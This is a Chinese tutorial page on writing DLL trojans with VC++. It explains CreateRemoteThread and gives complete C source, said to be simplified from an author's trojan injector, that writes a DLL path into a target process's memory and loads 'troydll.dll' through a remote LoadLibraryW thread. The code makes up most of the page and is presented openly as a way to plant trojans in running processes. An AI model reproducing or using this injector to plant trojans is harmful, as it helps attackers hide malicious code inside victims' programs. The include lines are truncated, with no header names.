网络安全 频道

学会用 VC++ 动态链接库编写 DLL 木马

(1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:

HANDLE CreateRemoteThread(



HANDLE hProcess, //远程进程句柄



LPSECURITY_ATTRIBUTES lpThreadAttributes,



SIZE_T dwStackSize,



LPTHREAD_START_ROUTINE lpStartAddress,



LPVOID lpParameter,



DWORD dwCreationFlags,



LPDWORD lpThreadId



);

(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;

(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。

以下程序由作者Shotgun的DLL木马注入程序简化而得,它将d盘根目录下的troydll.dll插入到ID为4000的进程中:

#include 



#include 



#include 



void CheckError ( int, int, char *); //出错处理函数



PDWORD pdwThreadId; 



HANDLE hRemoteThread, hRemoteProcess;



DWORD fdwCreate, dwStackSize, dwRemoteProcessId;



PWSTR pszLibFileRemote=NULL;



void main(int argc,char **argv)



{



int iReturnCode;



char lpDllFullPathName[MAX_PATH];



WCHAR pszLibFileName[MAX_PATH]={0};



dwRemoteProcessId = 4000; 



strcpy(lpDllFullPathName, "d:\\troydll.dll");



//将DLL文件全路径的ANSI码转换成UNICODE码



iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,



lpDllFullPathName, strlen(lpDllFullPathName),



pszLibFileName, MAX_PATH);



CheckError(iReturnCode, 0, "MultByteToWideChar");



//打开远程进程



hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 



PROCESS_VM_OPERATION | //允许VM操作



PROCESS_VM_WRITE, //允许VM写



FALSE, dwRemoteProcessId ); 



CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");



//计算DLL路径名需要的内存空间



int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);



pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, 

PAGE_READWRITE);



CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");



//将DLL的路径名复制到远程进程的内存空间



iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) 

pszLibFileName, cb, NULL);



CheckError(iReturnCode, false, "WriteProcessMemory");



//计算LoadLibraryW的入口地址 



PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)



GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");



CheckError((int)pfnStartAddr, NULL, "GetProcAddress");



//启动远程线程,通过远程线程调用用户的DLL文件 



hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, 

pszLibFileRemote, 0, NULL);



CheckError((int)hRemoteThread, NULL, "Create Remote Thread");



//等待远程线程退出



WaitForSingleObject(hRemoteThread, INFINITE);



//清场处理



if (pszLibFileRemote != NULL)



{



VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);



}



if (hRemoteThread != NULL) 



{



CloseHandle(hRemoteThread );



}



if (hRemoteProcess!= NULL) 



{



CloseHandle(hRemoteProcess);



}



}



//错误处理函数CheckError()



void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)



{



if(iReturnCode==iErrorCode)



{



printf("%s Error:%d\n\n", pErrorMsg, GetLastError());



//清场处理



if (pszLibFileRemote != NULL)



{



VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);



}



if (hRemoteThread != NULL) 



{



CloseHandle(hRemoteThread );



}



if (hRemoteProcess!= NULL)



{



CloseHandle(hRemoteProcess);



}



exit(0);



}



}
0
相关文章